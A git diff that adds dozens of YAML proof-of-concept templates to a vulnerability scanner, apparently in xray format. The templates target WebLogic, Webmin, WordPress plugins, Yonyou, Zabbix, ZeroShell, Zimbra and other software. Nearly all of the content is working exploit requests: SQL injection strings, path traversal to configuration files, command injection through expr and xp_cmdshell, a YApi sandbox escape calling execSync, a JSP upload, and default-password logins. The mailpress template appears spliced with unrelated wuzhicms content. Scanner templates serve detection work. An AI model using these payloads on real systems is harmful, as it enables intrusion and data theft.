+ follow_redirects: false
+ expression: |
+ response.status == 302 && (response.body.bcontains(bytes("/console/console.portal")) || response.body.bcontains(bytes("/console/jsp/common/NoJMX.jsp")))
+detail:
+ author: canc3s(https://github.com/canc3s),Soveless(https://github.com/Soveless)
+ weblogic_version: 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0
+ links:
+ - https://www.oracle.com/security-alerts/alert-cve-2020-14750.html
diff --git a/core/pocScan/pocs/weblogic-ssrf.yml b/core/pocScan/pocs/weblogic-ssrf.yml
new file mode 100644
index 0000000..1c84c1c
--- /dev/null
+++ b/core/pocScan/pocs/weblogic-ssrf.yml
@@ -0,0 +1,11 @@
+name: poc-yaml-weblogic-ssrf
+rules:
+ - method: GET
+ path: >-
+ /uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.1.1.1:700
+ headers:
+ Cookie: >-
+ publicinquiryurls=http://www-3.ibm.com/services/uddi/inquiryapi!IBM|http://www-3.ibm.com/services/uddi/v2beta/inquiryapi!IBM V2|http://uddi.rte.microsoft.com/inquire!Microsoft|http://services.xmethods.net/glue/inquire/uddi!XMethods|;
+ follow_redirects: false
+ expression: >-
+ response.status == 200 && (response.body.bcontains(b"'127.1.1.1', port: '700'") || response.body.bcontains(b"Socket Closed"))
diff --git a/core/pocScan/pocs/webmin-cve-2019-15107-rce.yml b/core/pocScan/pocs/webmin-cve-2019-15107-rce.yml
new file mode 100644
index 0000000..91489f4
--- /dev/null
+++ b/core/pocScan/pocs/webmin-cve-2019-15107-rce.yml
@@ -0,0 +1,19 @@
+name: poc-yaml-webmin-cve-2019-15107-rce
+set:
+ r1: randomInt(800000000, 1000000000)
+ r2: randomInt(800000000, 1000000000)
+ url: request.url
+rules:
+ - method: POST
+ path: /password_change.cgi
+ headers:
+ Referer: "{{url}}"
+ body: user=roovt&pam=&expired=2&old=expr%20{{r1}}%20%2b%20{{r2}}&new1=test2&new2=test2
+ follow_redirects: false
+ expression: >
+ response.body.bcontains(bytes(string(r1 + r2)))
+detail:
+ author: danta
+ description: Webmin 远程命令执行漏洞(CVE-2019-15107)
+ links:
+ - https://github.com/vulhub/vulhub/tree/master/webmin/CVE-2019-15107
diff --git a/core/pocScan/pocs/weiphp-path-traversal.yml b/core/pocScan/pocs/weiphp-path-traversal.yml
new file mode 100644
index 0000000..ecf718c
--- /dev/null
+++ b/core/pocScan/pocs/weiphp-path-traversal.yml
@@ -0,0 +1,23 @@
+name: poc-yaml-weiphp-path-traversal
+rules:
+ - method: POST
+ path: /public/index.php/material/Material/_download_imgage?media_id=1&picUrl=./../config/database.php
+ body: |
+ "1":1
+ expression:
+ response.status == 200
+ - method: GET
+ path: /public/index.php/home/file/user_pics
+ search: |
+ /public/uploads/picture/(?P.+?)"
+ expression:
+ response.status == 200
+ - method: GET
+ path: /public/uploads/picture/{{img}}
+ expression:
+ response.status == 200 && response.body.bcontains(b"data_auth_key") && response.body.bcontains(b"WeiPHP")
+detail:
+ author: sakura404x
+ version: Weiphp<=5.0
+ links:
+ - http://wiki.peiqi.tech/PeiQi_Wiki/CMS%E6%BC%8F%E6%B4%9E/Weiphp/Weiphp5.0%20%E5%89%8D%E5%8F%B0%E6%96%87%E4%BB%B6%E4%BB%BB%E6%84%8F%E8%AF%BB%E5%8F%96%20CNVD-2020-68596.html
diff --git a/core/pocScan/pocs/weiphp-sql.yml b/core/pocScan/pocs/weiphp-sql.yml
new file mode 100644
index 0000000..da2980c
--- /dev/null
+++ b/core/pocScan/pocs/weiphp-sql.yml
@@ -0,0 +1,13 @@
+name: poc-yaml-weiphp-sql
+set:
+ rand: randomInt(200000000, 210000000)
+rules:
+ - method: GET
+ path: /public/index.php/home/index/bind_follow/?publicid=1&is_ajax=1&uid[0]=exp&uid[1]=)%20and%20updatexml(1,concat(0x7e,md5({{rand}}),0x7e),1)--+
+ expression:
+ response.body.bcontains(bytes(substr(md5(string(rand)), 0, 31)))
+detail:
+ author: sakura404x
+ version: Weiphp<=5.0
+ links:
+ - https://github.com/Y4er/Y4er.com/blob/15f49973707f9d526a059470a074cb6e38a0e1ba/content/post/weiphp-exp-sql.md
diff --git a/core/pocScan/pocs/wifisky-default-password-cnvd-2021-39012.yml b/core/pocScan/pocs/wifisky-default-password-cnvd-2021-39012.yml
new file mode 100644
index 0000000..4af3e12
--- /dev/null
+++ b/core/pocScan/pocs/wifisky-default-password-cnvd-2021-39012.yml
@@ -0,0 +1,13 @@
+name: poc-yaml-wifisky-default-password-cnvd-2021-39012
+rules:
+ - method: POST
+ path: /login.php?action=login&type=admin
+ follow_redirects: false
+ body: >-
+ username=admin&password=admin
+ expression: |
+ response.status == 200 && response.body.bcontains(b"{\"success\":\"true\", \"data\":{\"id\":1}, \"alert\":\"您正在使用默认密码登录,为保证设备安全,请立即修改密码\"}")
+detail:
+ author: Print1n(http://print1n.top)
+ links:
+ - https://www.cnvd.org.cn/flaw/show/CNVD-2021-39012
\ No newline at end of file
diff --git a/core/pocScan/pocs/wordpress-cve-2019-19985-infoleak.yml b/core/pocScan/pocs/wordpress-cve-2019-19985-infoleak.yml
new file mode 100644
index 0000000..5d75468
--- /dev/null
+++ b/core/pocScan/pocs/wordpress-cve-2019-19985-infoleak.yml
@@ -0,0 +1,11 @@
+name: poc-yaml-wordpress-cve-2019-19985-infoleak
+rules:
+ - method: GET
+ path: "/wp-admin/admin.php?page=download_report&report=users&status=all"
+ follow_redirects: false
+ expression: >
+ response.status == 200 && response.body.bcontains(b"Name,Email,Status,Created") && "(?i)filename=.*?.csv".bmatches(bytes(response.headers["Content-Disposition"]))
+detail:
+ author: bufsnake(https://github.com/bufsnake)
+ links:
+ - https://www.exploit-db.com/exploits/48698
diff --git a/core/pocScan/pocs/wordpress-ext-adaptive-images-lfi.yml b/core/pocScan/pocs/wordpress-ext-adaptive-images-lfi.yml
new file mode 100644
index 0000000..a26f05d
--- /dev/null
+++ b/core/pocScan/pocs/wordpress-ext-adaptive-images-lfi.yml
@@ -0,0 +1,13 @@
+name: poc-yaml-wordpress-ext-adaptive-images-lfi
+rules:
+ - method: GET
+ path: >-
+ /wp-content/plugins/adaptive-images/adaptive-images-script.php?adaptive-images-settings[source_file]=../../../wp-config.php
+ follow_redirects: false
+ expression: >
+ response.status == 200 && response.body.bcontains(b"DB_NAME") && response.body.bcontains(b"DB_USER") && response.body.bcontains(b"DB_PASSWORD") && response.body.bcontains(b"DB_HOST")
+detail:
+ author: FiveAourThe(https://github.com/FiveAourThe)
+ links:
+ - https://www.anquanke.com/vul/id/1674598
+ - https://github.com/security-kma/EXPLOITING-CVE-2019-14205
diff --git a/core/pocScan/pocs/wordpress-ext-mailpress-rce.yml b/core/pocScan/pocs/wordpress-ext-mailpress-rce.yml
new file mode 100644
index 0000000..523b0f2
--- /dev/null
+++ b/core/pocScan/pocs/wordpress-ext-mailpress-rce.yml
@@ -0,0 +1,23 @@
+name: poc-yaml-wordpress-ext-mailpress-rce
+set:
+ r: randomInt(800000000, 1000000000)
+ r1: randomInt(800000000, 1000000000)
+rules:
+ - method: POST
+ path: "/wp-content/plugins/mailpress/mp-includes/action.php"
+ headers:
+ Content-Type: application/x-www-form-urlencoded
+ body: |
+ action=autosave&id=0&revision=-1&toemail=&toname=&fromemail=&fromname=&to_list=1&Theme=&subject=&html=&plaintext=&mail_format=standard&autosave=1
+ expression: "true"
+ search: |
+ -
+ /api/sms_check.php?param=1%27%20and%20updatexml(1,concat(0x7e,(SELECT%20MD5(1234)),0x7e),1)--%20
+ follow_redirects: false
+ expression: |
+ response.status == 200 && response.body.bcontains(b"81dc9bdb52d04dc20036dbd8313ed05") && response.body.bcontains(b"sql_error:MySQL Query Error")
+detail:
+ author: leezp
+ Affected Version: "wuzhicms-v4.1.0"
+ vuln_url: "/api/sms_check.php"
+ links:
+ - https://github.com/wuzhicms/wuzhicms/issues/184
diff --git a/core/pocScan/pocs/xdcms-sql.yml b/core/pocScan/pocs/xdcms-sql.yml
new file mode 100644
index 0000000..07541c1
--- /dev/null
+++ b/core/pocScan/pocs/xdcms-sql.yml
@@ -0,0 +1,15 @@
+name: poc-yaml-xdcms-sql
+set:
+ r1: randomInt(800000000, 1000000000)
+ r2: randomInt(800000000, 1000000000)
+rules:
+ - method: POST
+ path: "/index.php?m=member&f=login_save"
+ body: |
+ username=dd' or extractvalue(0x0a,concat(0x0a,{{r1}}*{{r2}}))#&password=dd&submit=+%B5%C7+%C2%BC+
+ expression: |
+ response.status == 200 && response.body.bcontains(bytes(string(r1 * r2)))
+detail:
+ author: amos1
+ links:
+ - https://www.uedbox.com/post/35188/
diff --git a/core/pocScan/pocs/xiuno-bbs-cvnd-2019-01348-reinstallation.yml b/core/pocScan/pocs/xiuno-bbs-cvnd-2019-01348-reinstallation.yml
new file mode 100644
index 0000000..f0cc2a7
--- /dev/null
+++ b/core/pocScan/pocs/xiuno-bbs-cvnd-2019-01348-reinstallation.yml
@@ -0,0 +1,14 @@
+name: poc-yaml-xiuno-bbs-cvnd-2019-01348-reinstallation
+rules:
+ - method: GET
+ path: /install/
+ headers:
+ Accept-Encoding: 'deflate'
+ follow_redirects: false
+ expression: |
+ response.status == 200 && response.body.bcontains(bytes(string("/view/js/xiuno.js"))) && response.body.bcontains(bytes(string("Choose Language (选择语言)")))
+detail:
+ author: 清风明月(www.secbook.info)
+ influence_version: '=< Xiuno BBS 4.0.4'
+ links:
+ - https://www.cnvd.org.cn/flaw/show/CNVD-2019-01348
diff --git a/core/pocScan/pocs/xunchi-cnvd-2020-23735-file-read.yml b/core/pocScan/pocs/xunchi-cnvd-2020-23735-file-read.yml
new file mode 100644
index 0000000..75d69d7
--- /dev/null
+++ b/core/pocScan/pocs/xunchi-cnvd-2020-23735-file-read.yml
@@ -0,0 +1,15 @@
+name: poc-yaml-xunchi-cnvd-2020-23735-file-read
+rules:
+ - method: GET
+ path: /backup/auto.php?password=NzbwpQSdbY06Dngnoteo2wdgiekm7j4N&path=../backup/auto.php
+ headers:
+ Accept-Encoding: 'deflate'
+ follow_redirects: false
+ expression: |
+ response.status == 200 && response.body.bcontains(bytes(string("NzbwpQSdbY06Dngnoteo2wdgiekm7j4N"))) && response.body.bcontains(bytes(string("display_errors")))
+detail:
+ author: 清风明月(www.secbook.info)
+ influence_version: ' >= V2.3'
+ links:
+ - http://www.cnxunchi.com
+ - https://www.cnvd.org.cn/flaw/show/2025171
diff --git a/core/pocScan/pocs/yapi-rce.yml b/core/pocScan/pocs/yapi-rce.yml
new file mode 100644
index 0000000..b427144
--- /dev/null
+++ b/core/pocScan/pocs/yapi-rce.yml
@@ -0,0 +1,84 @@
+name: poc-yaml-yapi-rce
+set:
+ redemail: randomLowercase(15)
+ redpassword: randomLowercase(15)
+ redproject: randomLowercase(8)
+ redinterface: randomLowercase(10)
+ r1: randomLowercase(10)
+ r2: randomLowercase(10)
+ r3: randomLowercase(10)
+ r4: randomLowercase(10)
+rules:
+ - method: POST
+ path: /api/user/reg
+ headers:
+ Content-Type: application/json;charset=UTF-8
+ follow_redirects: true
+ body: |
+ {"email":"{{redemail}}@qq.com","password":"{{redpassword}}","username":"{{redemail}}"}
+ expression: |
+ response.status == 200 && response.headers["Set-Cookie"].contains("_yapi_token=") && response.headers["Set-Cookie"].contains("_yapi_uid=") && response.body.bcontains(bytes(redemail))
+
+ - method: GET
+ path: /api/group/list
+ search: |
+ "_id":(?P.+?),
+ expression: |
+ response.status == 200 && response.content_type.icontains("application/json") && response.body.bcontains(bytes("custom_field1"))
+
+ - method: POST
+ path: /api/project/add
+ headers:
+ Content-Type: application/json;charset=UTF-8
+ body: |
+ {"name":"{{redproject}}","basepath":"","group_id":"{{group_id}}","icon":"code-o","color":"cyan","project_type":"private"}
+ search: |
+ tag":\[\],"_id":(?P.+?),
+ expression: |
+ response.status == 200 && response.body.bcontains(bytes("成功!")) && response.body.bcontains(bytes(redproject))
+
+ - method: GET
+ path: /api/project/get?id={{project_id}}
+ search: |
+ "_id":(?P.+?),
+ expression: |
+ response.status == 200 && response.body.bcontains(bytes("成功!"))
+
+ - method: POST
+ path: /api/interface/add
+ headers:
+ Content-Type: application/json;charset=UTF-8
+ body: |
+ {"method":"GET","catid":"{{catid}}","title":"{{redinterface}}","path":"/{{redinterface}}","project_id":{{project_id}}}
+ search: |
+ "_id":(?P.+?),
+ expression: |
+ response.status == 200 && response.body.bcontains(bytes("成功!")) && response.body.bcontains(bytes(redinterface))
+
+ - method: POST
+ path: /api/plugin/advmock/save
+ headers:
+ Content-Type: application/json;charset=UTF-8
+ body: |
+ {"project_id":"{{project_id}}","interface_id":"{{interface_id}}","mock_script":"const sandbox = this\r\nconst ObjectConstructor = this.constructor\r\nconst FunctionConstructor = ObjectConstructor.constructor\r\nconst myfun = FunctionConstructor('return process')\r\nconst process = myfun()\r\nmockJson = process.mainModule.require(\"child_process\").execSync(\"echo {{r1}}${{{r2}}}{{r3}}^{{r4}}\").toString()","enable":true}
+ expression: |
+ response.status == 200 && response.body.bcontains(bytes("成功!"))
+
+ - method: GET
+ path: /mock/{{project_id}}/{{redinterface}}
+ expression: |
+ response.status == 200 && (response.body.bcontains(bytes(r1 + r3 + "^" + r4)) || response.body.bcontains(bytes(r1 + "${" + r2 + "}" + r3 + r4)))
+
+ - method: POST
+ path: /api/project/del
+ headers:
+ Content-Type: application/json;charset=UTF-8
+ body: |
+ {"id":{{project_id}}}
+ expression: |
+ response.status == 200
+detail:
+ author: tangshoupu
+ info: yapi-rce
+ links:
+ - https://github.com/YMFE/yapi/issues/2229
diff --git a/core/pocScan/pocs/yccms-rce.yml b/core/pocScan/pocs/yccms-rce.yml
new file mode 100644
index 0000000..e36105d
--- /dev/null
+++ b/core/pocScan/pocs/yccms-rce.yml
@@ -0,0 +1,14 @@
+name: poc-yaml-yccms-rce
+set:
+ r: randomInt(800000000, 1000000000)
+ r1: randomInt(800000000, 1000000000)
+rules:
+ - method: GET
+ path: "/admin/?a=Factory();print({{r}}%2b{{r1}});//../"
+ expression: |
+ response.body.bcontains(bytes(string(r + r1)))
+detail:
+ author: j4ckzh0u(https://github.com/j4ckzh0u),violin
+ yccms: v3.3
+ links:
+ - https://blog.csdn.net/qq_36374896/article/details/84839891
diff --git a/core/pocScan/pocs/yonyou-grp-u8-sqli-to-rce.yml b/core/pocScan/pocs/yonyou-grp-u8-sqli-to-rce.yml
new file mode 100644
index 0000000..e7ca2a7
--- /dev/null
+++ b/core/pocScan/pocs/yonyou-grp-u8-sqli-to-rce.yml
@@ -0,0 +1,16 @@
+name: poc-yaml-yonyou-grp-u8-sqli-to-rce
+set:
+ r1: randomInt(1000, 9999)
+ r2: randomInt(1000, 9999)
+rules:
+ - method: POST
+ path: /Proxy
+ follow_redirects: false
+ body: |
+ cVer=9.8.0&dp=XMLAS_DataRequestProviderNameDataSetProviderDataDataexec xp_cmdshell 'set/A {{r1}}*{{r2}}'
+ expression: |
+ response.status == 200 && response.body.bcontains(bytes(string(r1 * r2)))
+detail:
+ author: MrP01ntSun(https://github.com/MrPointSun)
+ links:
+ - https://www.hackbug.net/archives/111.html
diff --git a/core/pocScan/pocs/yonyou-grp-u8-sqli.yml b/core/pocScan/pocs/yonyou-grp-u8-sqli.yml
new file mode 100644
index 0000000..5fd8452
--- /dev/null
+++ b/core/pocScan/pocs/yonyou-grp-u8-sqli.yml
@@ -0,0 +1,15 @@
+name: poc-yaml-yonyou-grp-u8-sqli
+set:
+ r1: randomInt(40000, 44800)
+ r2: randomInt(40000, 44800)
+rules:
+ - method: POST
+ path: /Proxy
+ body: >
+ cVer=9.8.0&dp=%3c?xml%20version%3d%221.0%22%20encoding%3d%22GB2312%22?%3e%3cR9PACKET%20version%3d%221%22%3e%3cDATAFORMAT%3eXML%3c%2fDATAFORMAT%3e%3cR9FUNCTION%3e%3cNAME%3eAS_DataRequest%3c%2fNAME%3e%3cPARAMS%3e%3cPARAM%3e%3cNAME%3eProviderName%3c%2fNAME%3e%3cDATA%20format%3d%22text%22%3eDataSetProviderData%3c%2fDATA%3e%3c%2fPARAM%3e%3cPARAM%3e%3cNAME%3eData%3c%2fNAME%3e%3cDATA%20format%3d%22text%22%3e%20select%20{{r1}}%2a{{r2}}%20%3c%2fDATA%3e%3c%2fPARAM%3e%3c%2fPARAMS%3e%3c%2fR9FUNCTION%3e%3c%2fR9PACKET%3e
+ expression: |
+ response.status == 200 && response.body.bcontains(bytes(string(r1 * r2)))
+detail:
+ author: 凉风(http://webkiller.cn/)
+ links:
+ - https://www.hacking8.com/bug-web/%E7%94%A8%E5%8F%8B/%E7%94%A8%E5%8F%8B-GRP-u8%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E.html
\ No newline at end of file
diff --git a/core/pocScan/pocs/yonyou-nc-arbitrary-file-upload.yml b/core/pocScan/pocs/yonyou-nc-arbitrary-file-upload.yml
new file mode 100644
index 0000000..d2b975a
--- /dev/null
+++ b/core/pocScan/pocs/yonyou-nc-arbitrary-file-upload.yml
@@ -0,0 +1,26 @@
+name: poc-yaml-yonyou-nc-arbitrary-file-upload
+set:
+ r1: randomInt(10000, 20000)
+ r2: randomInt(1000000000, 2000000000)
+ r3: b"\xac\xed\x00\x05sr\x00\x11java.util.HashMap\x05\a\xda\xc1\xc3\x16`\xd1\x03\x00\x02F\x00\nloadFactorI\x00\tthresholdxp?@\x00\x00\x00\x00\x00\fw\b\x00\x00\x00\x10\x00\x00\x00\x02t\x00\tFILE_NAMEt\x00\t"
+ r4: b".jspt\x00\x10TARGET_FILE_PATHt\x00\x10./webapps/nc_webx"
+rules:
+ - method: POST
+ path: /servlet/FileReceiveServlet
+ headers:
+ Content-Type: multipart/form-data;
+ body: >-
+ {{r3}}{{r1}}{{r4}}<%out.print("{{r2}}");new java.io.File(application.getRealPath(request.getServletPath())).delete();%>
+ expression: |
+ response.status == 200
+ - method: GET
+ path: '/{{r1}}.jsp'
+ headers:
+ Content-Type: application/x-www-form-urlencoded
+ expression: |
+ response.status == 200 && response.body.bcontains(bytes(string(r2)))
+detail:
+ author: pa55w0rd(www.pa55w0rd.online/)
+ Affected Version: "YONYOU NC > 6.5"
+ links:
+ - https://blog.csdn.net/weixin_44578334/article/details/110917053
diff --git a/core/pocScan/pocs/yonyou-nc-bsh-servlet-bshservlet-rce.yml b/core/pocScan/pocs/yonyou-nc-bsh-servlet-bshservlet-rce.yml
new file mode 100644
index 0000000..11deeac
--- /dev/null
+++ b/core/pocScan/pocs/yonyou-nc-bsh-servlet-bshservlet-rce.yml
@@ -0,0 +1,14 @@
+name: poc-yaml-yonyou-nc-bsh-servlet-bshservlet-rce
+set:
+ r1: randomInt(8000, 9999)
+ r2: randomInt(8000, 9999)
+rules:
+ - method: POST
+ path: /servlet/~ic/bsh.servlet.BshServlet
+ body: bsh.script=print%28{{r1}}*{{r2}}%29%3B
+ expression: |
+ response.status == 200 && response.body.bcontains(bytes(string(r1 * r2)))
+detail:
+ author: B1anda0(https://github.com/B1anda0)
+ links:
+ - https://mp.weixin.qq.com/s/FvqC1I_G14AEQNztU0zn8A
diff --git a/core/pocScan/pocs/yonyou-u8-oa-sqli.yml b/core/pocScan/pocs/yonyou-u8-oa-sqli.yml
new file mode 100644
index 0000000..9933b52
--- /dev/null
+++ b/core/pocScan/pocs/yonyou-u8-oa-sqli.yml
@@ -0,0 +1,14 @@
+name: poc-yaml-yongyou-u8-oa-sqli
+set:
+ rand: randomInt(200000000, 220000000)
+rules:
+ - method: GET
+ path: /yyoa/common/js/menu/test.jsp?doType=101&S1=(SELECT%20md5({{rand}}))
+ follow_redirects: false
+ expression: |
+ response.status == 200 && response.body.bcontains(bytes(md5(string(rand))))
+
+detail:
+ author: kzaopa(https://github.com/kzaopa)
+ links:
+ - http://wiki.peiqi.tech/PeiQi_Wiki/OA%E4%BA%A7%E5%93%81%E6%BC%8F%E6%B4%9E/%E7%94%A8%E5%8F%8BOA/%E7%94%A8%E5%8F%8B%20U8%20OA%20test.jsp%20SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E.html
\ No newline at end of file
diff --git a/core/pocScan/pocs/youphptube-encoder-cve-2019-5127.yml b/core/pocScan/pocs/youphptube-encoder-cve-2019-5127.yml
new file mode 100644
index 0000000..9c7ce3e
--- /dev/null
+++ b/core/pocScan/pocs/youphptube-encoder-cve-2019-5127.yml
@@ -0,0 +1,20 @@
+name: poc-yaml-youphptube-encoder-cve-2019-5127
+set:
+ fileName: randomLowercase(4) + ".txt"
+ content: randomLowercase(8)
+ payload: urlencode(base64("`echo " + content + " > " + fileName + "`"))
+rules:
+ - method: GET
+ path: /objects/getImage.php?base64Url={{payload}}&format=png
+ follow_redirects: true
+ expression: |
+ response.status == 200
+ - method: GET
+ path: /objects/{{fileName}}
+ follow_redirects: true
+ expression: |
+ response.status == 200 && response.body.bcontains(bytes(content))
+detail:
+ author: 0x_zmz(github.com/0x-zmz)
+ links:
+ - https://xz.aliyun.com/t/6708
diff --git a/core/pocScan/pocs/youphptube-encoder-cve-2019-5128.yml b/core/pocScan/pocs/youphptube-encoder-cve-2019-5128.yml
new file mode 100644
index 0000000..7f12c83
--- /dev/null
+++ b/core/pocScan/pocs/youphptube-encoder-cve-2019-5128.yml
@@ -0,0 +1,20 @@
+name: poc-yaml-youphptube-encoder-cve-2019-5128
+set:
+ fileName: randomLowercase(4) + ".txt"
+ content: randomLowercase(8)
+ payload: urlencode(base64("`echo " + content + " > " + fileName + "`"))
+rules:
+ - method: GET
+ path: /objects/getImageMP4.php?base64Url={{payload}}&format=jpg
+ follow_redirects: true
+ expression: |
+ response.status == 200
+ - method: GET
+ path: /objects/{{fileName}}
+ follow_redirects: true
+ expression: |
+ response.status == 200 && response.body.bcontains(bytes(content))
+detail:
+ author: 0x_zmz(github.com/0x-zmz)
+ links:
+ - https://xz.aliyun.com/t/6708
diff --git a/core/pocScan/pocs/youphptube-encoder-cve-2019-5129.yml b/core/pocScan/pocs/youphptube-encoder-cve-2019-5129.yml
new file mode 100644
index 0000000..2393096
--- /dev/null
+++ b/core/pocScan/pocs/youphptube-encoder-cve-2019-5129.yml
@@ -0,0 +1,20 @@
+name: poc-yaml-youphptube-encoder-cve-2019-5129
+set:
+ fileName: randomLowercase(4) + ".txt"
+ content: randomLowercase(8)
+ payload: urlencode(base64("`echo " + content + " > " + fileName + "`"))
+rules:
+ - method: GET
+ path: /objects/getSpiritsFromVideo.php?base64Url={{payload}}&format=jpg
+ follow_redirects: true
+ expression: |
+ response.status == 200
+ - method: GET
+ path: /objects/{{fileName}}
+ follow_redirects: true
+ expression: |
+ response.status == 200 && response.body.bcontains(bytes(content))
+detail:
+ author: 0x_zmz(github.com/0x-zmz)
+ links:
+ - https://xz.aliyun.com/t/6708
diff --git a/core/pocScan/pocs/yungoucms-sqli.yml b/core/pocScan/pocs/yungoucms-sqli.yml
new file mode 100644
index 0000000..5fc2792
--- /dev/null
+++ b/core/pocScan/pocs/yungoucms-sqli.yml
@@ -0,0 +1,14 @@
+name: poc-yaml-yungoucms-sqli
+set:
+ rand: randomInt(2000000000, 2100000000)
+rules:
+ - method: GET
+ path: >-
+ /?/member/cart/Fastpay&shopid=-1%20union%20select%20md5({{rand}}),2,3,4%20--+
+ follow_redirects: false
+ expression: >
+ response.status == 200 && response.body.bcontains(bytes(md5(string(rand))))
+detail:
+ author: cc_ci(https://github.com/cc8ci)
+ links:
+ - https://www.secquan.org/Prime/1069179
\ No newline at end of file
diff --git a/core/pocScan/pocs/zabbix-authentication-bypass.yml b/core/pocScan/pocs/zabbix-authentication-bypass.yml
new file mode 100644
index 0000000..1cc08ab
--- /dev/null
+++ b/core/pocScan/pocs/zabbix-authentication-bypass.yml
@@ -0,0 +1,11 @@
+name: poc-yaml-zabbix-authentication-bypass
+rules:
+ - method: GET
+ path: /zabbix.php?action=dashboard.view&dashboardid=1
+ follow_redirects: false
+ expression: |
+ response.status == 200 && response.body.bcontains(bytes("Share")) && response.body.bcontains(b"Dashboard")
+detail:
+ author: FiveAourThe(https://github.com/FiveAourThe)
+ links:
+ - https://www.exploit-db.com/exploits/47467
\ No newline at end of file
diff --git a/core/pocScan/pocs/zabbix-cve-2016-10134-sqli.yml b/core/pocScan/pocs/zabbix-cve-2016-10134-sqli.yml
new file mode 100644
index 0000000..494acc6
--- /dev/null
+++ b/core/pocScan/pocs/zabbix-cve-2016-10134-sqli.yml
@@ -0,0 +1,14 @@
+name: poc-yaml-zabbix-cve-2016-10134-sqli
+set:
+ r: randomInt(2000000000, 2100000000)
+rules:
+ - method: GET
+ path: >-
+ /jsrpc.php?type=0&mode=1&method=screen.get&profileIdx=web.item.graph&resourcetype=17&profileIdx2=updatexml(0,concat(0xa,md5({{r}})),0)
+ follow_redirects: true
+ expression: |
+ response.status == 200 && response.body.bcontains(bytes(substr(md5(string(r)), 0, 31)))
+detail:
+ author: sharecast
+ links:
+ - https://github.com/vulhub/vulhub/tree/master/zabbix/CVE-2016-10134
\ No newline at end of file
diff --git a/core/pocScan/pocs/zabbix-default-password.yml b/core/pocScan/pocs/zabbix-default-password.yml
new file mode 100644
index 0000000..7264136
--- /dev/null
+++ b/core/pocScan/pocs/zabbix-default-password.yml
@@ -0,0 +1,11 @@
+name: poc-yaml-zabbix-default-password
+rules:
+ - method: POST
+ path: /index.php
+ body: name=Admin&password=zabbix&autologin=1&enter=Sign+in
+ expression: |
+ response.status == 302 && response.headers["Location"] == "zabbix.php?action=dashboard.view" && response.headers["set-cookie"].contains("zbx_session")
+detail:
+ author: fuzz7j(https://github.com/fuzz7j)
+ links:
+ - https://www.zabbix.com/documentation/3.4/zh/manual/quickstart/login
diff --git a/core/pocScan/pocs/zcms-v3-sqli.yml b/core/pocScan/pocs/zcms-v3-sqli.yml
new file mode 100644
index 0000000..dc9d3b0
--- /dev/null
+++ b/core/pocScan/pocs/zcms-v3-sqli.yml
@@ -0,0 +1,12 @@
+name: poc-yaml-zcms-v3-sqli
+rules:
+ - method: GET
+ path: >-
+ /admin/cms_channel.php?del=123456+AND+(SELECT+1+FROM(SELECT+COUNT(*)%2cCONCAT(0x7e%2cmd5(202072102)%2c0x7e%2cFLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.CHARACTER_SETS+GROUP+BY+x)a)--%2b
+ follow_redirects: true
+ expression: |
+ response.status == 200 && response.body.bcontains(b"6f7c6dcbc380aac3bcba1f9fccec991e")
+detail:
+ author: MaxSecurity(https://github.com/MaxSecurity)
+ links:
+ - https://www.anquanke.com/post/id/183241
diff --git a/core/pocScan/pocs/zeit-nodejs-cve-2020-5284-directory-traversal.yml b/core/pocScan/pocs/zeit-nodejs-cve-2020-5284-directory-traversal.yml
new file mode 100644
index 0000000..ab8cfe3
--- /dev/null
+++ b/core/pocScan/pocs/zeit-nodejs-cve-2020-5284-directory-traversal.yml
@@ -0,0 +1,11 @@
+name: poc-yaml-zeit-nodejs-cve-2020-5284-directory-traversal
+rules:
+ - method: GET
+ path: /_next/static/../server/pages-manifest.json
+ expression: |
+ response.status == 200 && response.headers["Content-Type"].contains("application/json") && "/_app\": \".*?_app\\.js".bmatches(response.body)
+detail:
+ author: x1n9Qi8
+ links:
+ - http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-202003-1728
+ - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-5284
\ No newline at end of file
diff --git a/core/pocScan/pocs/zeroshell-cve-2019-12725-rce.yml b/core/pocScan/pocs/zeroshell-cve-2019-12725-rce.yml
new file mode 100644
index 0000000..13f6068
--- /dev/null
+++ b/core/pocScan/pocs/zeroshell-cve-2019-12725-rce.yml
@@ -0,0 +1,16 @@
+name: poc-yaml-zeroshell-cve-2019-12725-rce
+set:
+ r1: randomInt(800000000, 1000000000)
+ r2: randomInt(800000000, 1000000000)
+rules:
+ - method: GET
+ path: /cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type=%27%0Aexpr%20{{r1}}%20-%20{{r2}}%0A%27
+ follow_redirects: false
+ expression: |
+ response.status == 200 && response.body.bcontains(bytes(string(r1 - r2)))
+
+detail:
+ author: YekkoY
+ description: "ZeroShell 3.9.0-远程命令执行漏洞-CVE-2019-12725"
+ links:
+ - http://wiki.xypbk.com/IOT%E5%AE%89%E5%85%A8/ZeroShell/ZeroShell%203.9.0%20%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%20CVE-2019-12725.md?btwaf=51546333
diff --git a/core/pocScan/pocs/zimbra-cve-2019-9670-xxe.yml b/core/pocScan/pocs/zimbra-cve-2019-9670-xxe.yml
new file mode 100644
index 0000000..ad969dd
--- /dev/null
+++ b/core/pocScan/pocs/zimbra-cve-2019-9670-xxe.yml
@@ -0,0 +1,19 @@
+name: poc-yaml-zimbra-cve-2019-9670-xxe
+rules:
+ - method: POST
+ path: /Autodiscover/Autodiscover.xml
+ headers:
+ Content-Type: text/xml
+ body: >-
+ ]>test@test.com&xxe;
+ follow_redirects: false
+ expression: |
+ response.body.bcontains(b"zmmailboxd.out") && response.body.bcontains(b"Requested response schema not available")
+detail:
+ author: fnmsd(https://blog.csdn.net/fnmsd)
+ cve-id: CVE-2019-9670
+ vuln_path: /Autodiscover/Autodiscover.xml
+ description: Zimbra XXE Vul,may Control your Server with AdminPort SSRF
+ links:
+ - https://blog.csdn.net/fnmsd/article/details/88657083
+ - https://blog.csdn.net/fnmsd/article/details/89235589
\ No newline at end of file
